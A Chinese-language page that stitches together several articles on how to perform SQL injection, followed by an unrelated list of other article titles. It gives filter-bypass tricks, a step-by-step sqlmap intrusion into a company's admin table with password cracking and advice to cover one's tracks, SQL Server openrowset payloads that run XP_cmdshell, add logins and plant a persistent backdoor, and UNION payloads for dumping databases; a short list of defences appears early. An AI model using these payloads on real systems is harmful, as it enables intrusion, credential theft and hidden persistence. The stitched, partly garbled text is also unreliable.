sql怎么注入(SQL注入求指点)

本文目录
- SQL注入求指点
- 【web安全】怎么进行sql注入
- SQL注入—我是如何一步步攻破一家互联网公司的
- 求教谁给讲讲SQL注入攻击的步骤
- 注意那些容易被忽略的SQL注入技巧
- 如何利用sql注入进行爆库
- 什么是sql注入如何注入的呢
SQL注入求指点
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
SQL注入大致方法:
1、猜表名And
(Select
count(*)
from
表名)《》0,猜列名And
(Select
count(列名)
from
表名)《》0,获得数据库连接用户名:and
user》0
2、后台身份验证绕过漏洞,’or’=’or’后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误。
防止SQL注入:
1.对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。
【web安全】怎么进行sql注入
1.POST注入,通用防注入一般限制get,但是有时候不限制post或者限制的很少,这时候你就可以试下post注入,比如登录框、搜索框、投票框这类的。另外,在asp中post已被发扬光大,程序员喜欢用receive来接受数据,这就造成了很多时候get传递的参数通过post/cookie也能传递,这时如果恰好防注入程序只限制了get,因此post注入不解释
2.cookie注入,原理同post注入,绕过相当多通用防注入
3.二次注入,第一次注入的数据可能不会有效,但是如果将来能在某个页面里面被程序处理呢?注入来了……
4.csrf,适合后台地址已知并且存在已知0day,可以试试用csrf劫持管理员来进行操作(这招其实不属于sql注入了)
5.打碎关键字,比如过滤select,我可以用sel/**/ect来绕过,这招多见于mysql
6.有时候也可以sELeCT这样大小写混淆绕过
7.用chr对sql语句编码进行绕过
8.如果等于号不好使,可以试试大于号或者小于号,如果and不好使可以试试or,这样等价替换
9.多来几个关键字确定是什么防注入程序,直接猜测源码或者根据报错关键字(如"非法操作,ip地址已被记录")把源码搞下来研究
10.记录注入者ip和语句并写入文件或数据库,然而数据库恰好是asp的,插马秒杀
SQL注入—我是如何一步步攻破一家互联网公司的
【作案工具介绍】
(1) AppScan渗透扫描工具
Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。
(2) Sqlmap渗透测试工具
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
【作案细节如下】
首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下:
在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:
***隐藏网址***
为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:
***隐藏网址***
***隐藏网址***
***隐藏网址***
***隐藏网址***
如果有出错,说明存在注入点。
***隐藏网址***
1) 再次确认目标注入点是否可用:
***隐藏网址***
参数:
-u:指定注入点url
结果:
注入结果展示:
a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
c. 数据库类型为:MySql 5.0.12
2) 暴库所有数据库:
一条命令即可曝出该sqlserver中所有数据库名称,命令如下:
***隐藏网址***
参数:
--dbs:dbs前面有两条杠,列出所有数据库。
结果:
结果显示该sqlserver中共包含3个可用的数据库。
3) 获取当前使用的数据库
***隐藏网址***
参数:
--current-db:当前所使用的数据库。
结果:
4) 获取当前数据库使用账户
***隐藏网址***
5) 列出sqlserver所有用户
***隐藏网址***
6) 获取当前用户数据库账户与密码
***隐藏网址***
结果显示该用户可能无读取相关系统的权限。
7) 列出数据库中的表
***隐藏网址***
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果显示共列出了69张表。
8) 列出表中字段
***隐藏网址***
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
9)暴字段内容
***隐藏网址***
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
***隐藏网址***
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。
结果如下:
通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。
至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
***隐藏网址***
SQL注入—我是如何一步步攻破一家互联网公司的
标签:
求教谁给讲讲SQL注入攻击的步骤
第一步:SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法有很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断,还可以使用特定函数来判断。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
注意那些容易被忽略的SQL注入技巧
下面我要谈到一些Sqlserver新的Bug 虽然本人经过长时间的努力 当然也有点幸运的成分在内 才得以发现 不敢一个人独享 拿出来请大家鉴别
.关于Openrowset和Opendatasource
可能这个技巧早有人已经会了 就是利用openrowset发送本地命令 通常我们的用法是(包括MSDN的列子)如下
select * from openrowset( sqloledb myserver ; sa ; select * from table )
可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问 它必须跟在select后面 也就是说需要返回一个recordset
那么我们能不能利用它调用XP_cmdshell呢?答案是肯定的!
select * from openrowset( sqloledb server ; sa ; set fmtonly off
exec master dbo XP_cmdshel l dir c:\ )
必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置 这样XP_cmdshell返回的output集合就会提交给前面的select显示 如果采用默认设置 会返回空集合导致select出错 命令也就无法执行了
那么如果我们要调用sp_addlogin呢 他不会像XP_cmdshell返回任何集合的 我们就不能再依靠fmtonly设置了 可以如下操作
select * from openrowset( sqloledb server ; sa ; select OK!
exec master dbo sp_addlogin Hectic )
这样 命令至少会返回select OK! 的集合 你的机器商会显示OK! 同时对方的数据库内也会增加一个Hectic的账号 也就是说 我们利用select OK! 的返回集合欺骗了本地的select请求 是命令能够正常执行 通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处 大家慢慢想吧
.关于Msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库 当然这个api必须是sqlserver的管理员才可以调用 那么如下
select * from openrowset( msdasql driver={sql server};server=server;address=server ;uid=sa;pwd=;database=master;neork=dbmssocn s elect * from table select * from table )
当table 和table 的字段数目不相同时 你会发现对方的sqlserver崩溃了 连本地连接都会失败 而系统资源占用一切正常 用pskill杀死 sqlserver进程后 如果不重启机器 sqlserver要么无法正常启动 要么时常出现非法操作 我也只是碰巧找到这个bug的 具体原因我还没有摸透 而且很奇怪的是这个现象只出现在msdasql上 sqloledb就没有这个问题 看来问题不是在于请求集合数目和返回集合数目不匹配上 应该还是msdasql本身的问题 具体原因 大家一起慢慢研究吧
.可怕的后门
以前在网上看到有人说在 sqlserver上留后门可以通过添加triger jobs或改写sp_addlogin和sp_addsrvrolemember做到 这些方法当然可行 但是很容易会被发现 不知道大家有没有想过sqloledb的本地连接映射 呵呵 比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select * from openrowset( sqloledb trusted_connection=yes;data source=Hectic set fmtonly off exec master XP_cmdshell dir c:\ )
这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射 只要sqlserver不重启 这个映射会一直存在下去 至少我现在还不知道如何发现别人放置的连接映射 好了 以上的命令运行过后 你会发现哪怕是sqlserver没有任何权限的guest用户 运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了 以上的方法在 sqlserver sqlserver SP 上通过!
另外还有一个猜测 不知道大家有没有注意过windows默认附带的两个dsn 一个是localserver一个是msqi 这两个在建立的时候是本地管理员账号连接sqlserver的 如果对方的 sqlserver是通过自定义的power user启动 那么sa的权限就和power user一样 很难有所大作为 但是我们通过如下的命令
select * from openrowset
( msdasql dsn=locaserver;trusted_connection=yes set fmtonly off execmaster XP_cmdshell dir c:\ )
应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了 这是后我想应该能突破sa那个power user权限了 现在的问题是sqloledb无法调用dsn连接 而msdasql非管理员不让调用 所以我现在正在寻找guest调用msdasql 的方法
lishixinzhi/Article/program/SQL/201311/16324如何利用sql注入进行爆库
#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。
好了 ,UNION和#就是撬动爆库的那个支点
实践爆库
万事俱备,只欠东风。那就让吹起东风吹起来吧,吹得更猛烈一些。
以下实验都是基于《SQL注入基础》一文开发的数据库应用demo来实验的,如果读者没有SQL注入的基础知识,建议看看这篇文章;同时建议SQL注入的初学者也按此文搭建相同的数据应用demo来实验测试一把。
爆数据库列表
往username中注入:
ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #
即可查询所有数据库列表如下图:
图示标红色框的就是数据库列表。我们在UNION SELECT ...语句中第一列为常数1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME这一列,它刚好就是数据库名。
爆某个数据库下的所有表名
为了精减输出结果,这里只爆lyt_test数据库下的表名,往username中注入:
ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#
即可查询得lyt_test数据库下所有表,如下图所示:
不同的地方是lyt_test数据库下只有accounts一个表,其它与爆数据库原理相同,不作过多解释。
爆某个表下所有字段
这里只爆accounts表下的所有字段,往username中注入:
ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #
结果如下图所示:
标红的是字段名。那么类型呢? 修改注入内容为:
ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’ #
就可以获取字段类型信息,如下图所示:
标红色的分别是前面两个字段的类型,即ID类型为char,balance类型为float。
从上面可以发现规律:每个注入可以获取到目标表中的每个列表数据, 如果表中有N表,注入N次可以获取完整的表信息。
爆某个表下的所有记录
这里就不写的,读者可以自己练习一下,原来跟上面完全一样。
总结
原来SQL注入爆数据库是这么容易的,但有几个必备条件
MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库-》表-》字段关系树
SQL语言提供了UNION语句,可以新增窃取其它数据合并到被注入SELECT结果
MySQL对SQL做扩展,提供注释符#,让注入可以为所欲为
爆库的精髓掌握了吗?快来试试。
***隐藏网址***
如何利用sql注入进行爆库
标签:articlesrcaccounts读者命令软件测试类型infber
什么是sql注入如何注入的呢
SQL注入一定意义上可能是目前互联网上存在的最丰富的编程缺陷,是未经授权的人可以访问各种关键和私人数据的漏洞。 SQL注入不是Web或数据库服务器中的缺陷,而是由于编程实践较差且缺乏经验而导致的。 它是从远程位置执行的最致命和最容易的攻击之一。
from 树懒学堂

更多文章:
unix时间戳字段异常值怎么处理(怎么对统计数据的异常值进行判断和处理)
2026年5月15日 06:00
java视频教程马士兵(哪里可以下载全部马士兵JAVA视频教程)
2026年4月6日 02:00
程序员最喜欢的编辑器颜色(我终于知道为什么很多程序员编辑器都用暗色背景了)
2026年7月12日 13:00
必会失去随机存取功能(计算机储存中断电后其中信息会丢失的是什么)
2026年5月16日 20:15
unicode字符转换(Unicode 与 UTF-8 之间的转换)
2025年9月26日 12:00
stack英语(叠什么意思近义词和反义词是什么英文翻译是什么)
2025年7月31日 18:00
没有建站经验怎样创建一个属于自己网站?网站建设的前期准备,建站前须知的几点准备事项
2026年8月18日 03:45
floating tobu(求初音easy dance的歌词啊~~~~~)
2025年7月30日 15:00
减肥为什么不用lose weight(put on 、 put off、 put up、 put down、哪个有 减肥 的意思)
2026年7月27日 16:15











